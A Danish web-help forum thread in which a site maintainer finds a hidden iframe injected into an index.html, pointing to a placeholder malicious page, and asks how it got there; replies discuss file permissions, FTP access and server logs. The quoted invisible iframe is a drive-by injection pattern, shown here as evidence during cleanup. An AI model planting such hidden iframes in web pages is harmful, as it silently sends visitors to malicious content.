Oprettet tor. d. 04. marts 2010 kl. 13:07:41

snigeren
snigeren (15.048 point. Point ude: 0)

problem med malicious link i en html fil

Jeg er blevet bedt om at finde ud af hvorfor der pludselig forekom et link til en malicious side i en normal index.html
foran
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ (...)

stod der pludselig:
<!-- ~ --><iframe src="skidtlink.php" width="2" height="2" style="display:none;"></iframe><!-- ~ -->

har fjernet linket, skal jo nødig sende nogen ved et uheld ind til noget skrammel!

På serveren kan jeg se følgende:
mappe scripts:
expressInstall.swf
swfobject_modified.js

en mappe uniflip_publication:
uniflip laver en brochure med vendbaresider...

i roden:
6 html filer (de 6 sider på hjemmesiden)
og alle .jpg .gif og en enkelt .pdf artikel

Kan ikke finde nogle textfields eller noget så vidt jeg kan se ikke noget admin login...

Nogen der har en idé hvordan det kan være sket?

Skrevet tor. d. 04. marts 2010 kl. 14:44:24| #1

zips
zips (31.437 point)
Hvis du ikke har nogen filer med et script og du har chmod dine filer så man ikke kan skrive til dem, så er det din server som har en sikkerheds brist og du bør derfor kontakte dem om det.

Har du nogen log filer på din server, har du det, så kik dem igennem og se om du kan se hvordan de er kommet ind.

Skrevet tor. d. 04. marts 2010 kl. 15:08:37| #2

snigeren
snigeren (15.048 point)
index.html har CHMOD 644 så det er kun "owner" der kan skrive til filen er det ikke ok?

Selve mappen hvor siden ligger i ligger på en større server og der er givet adgang til den mappe så ham der har lavet siden kunne oploade via ftp. for han skal ikke have adgang til resten af serveren.
Denne mappe har 775 dvs. det eneste der er disablet er write for public.

Nu ved jeg ikke hvordan det fungerer når man opretter ftp adgang til en bestemt mappe på en server skal den have den CHMOD opsætning(775)?

Skrevet fre. d. 30. april 2010 kl. 18:40:17| #3


Skriv et indlæg




Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] [img]link til billede[/img]
Web- og emailadresser omdannes automatisk til links

Log ind

   

   

Seneste spørgsmål

Hvor indsætter jeg Favicon?

Oprettet den 11. februar 2012 kl. 17.44
a/s giver 200 point for svar | Giv et svar »

POST ændrer formattet?

Oprettet den 11. februar 2012 kl. 13.33
djthomsen giver 100 point for svar | Giv et svar »

de 2 form ligger ikke ved siden af hinanden

Oprettet den 10. februar 2012 kl. 20.31
tobrukDk giver 10 point for svar | Giv et svar »

Seneste guides

Installer win 7
Den gode bruger


   




Tips & Tricks fra PC World

Teaser billede

Her er fem sjove danske websider du skal kende

Trænger dine lattermuskler til en omgang fitness på dansk? Vi viser vej til fem websider fyldt med humor og vanvittig satire.


Anmeldelser fra PC World

Teaser billede

Test: Denne super-tablet er iPads hårdeste konkurrent

Eee Pad Transformer Prime er frygtindgydende med sin quadcore processor og evne til at trylle sig om til bærbar. Apple bør kigge i bagspejlet, for Asus' tablet-pc kommer buldrende - og gør det...


Seneste blogindlæg

Teaser billede

Tvangslukke spørgsmål: Hvad er den bedste løsning?

Hej Vi har mange åbne spørgsmål på Eksperten. Vi ville gerne tvangslukke dem - så et spørgsmål efter f.eks. 6 måneder lukkes. Men der er et par uklarheder som ville være gode at få lidt input til:...


Nyheder fra PC World

Teaser billede

Nu kan du snart hente Windows 8

Den nye offentlige betaversion af Windows 8 er klar i denne måned.


Nyheder fra Computerworld

Teaser billede

Måske snart slut med Androids helt store problem

Android-platformen har længe været plaget af et særligt problem. Men måske er problemet nu ved at være elimineret.


Kurser
Samarbejdspartnere

Udgiver · © 2012 IDG Danmark A/S · Hørkær 18 · 2730 Herlev · Tlf.: 77 300 300 · Fax: 77 300 301 · Brug af personoplysninger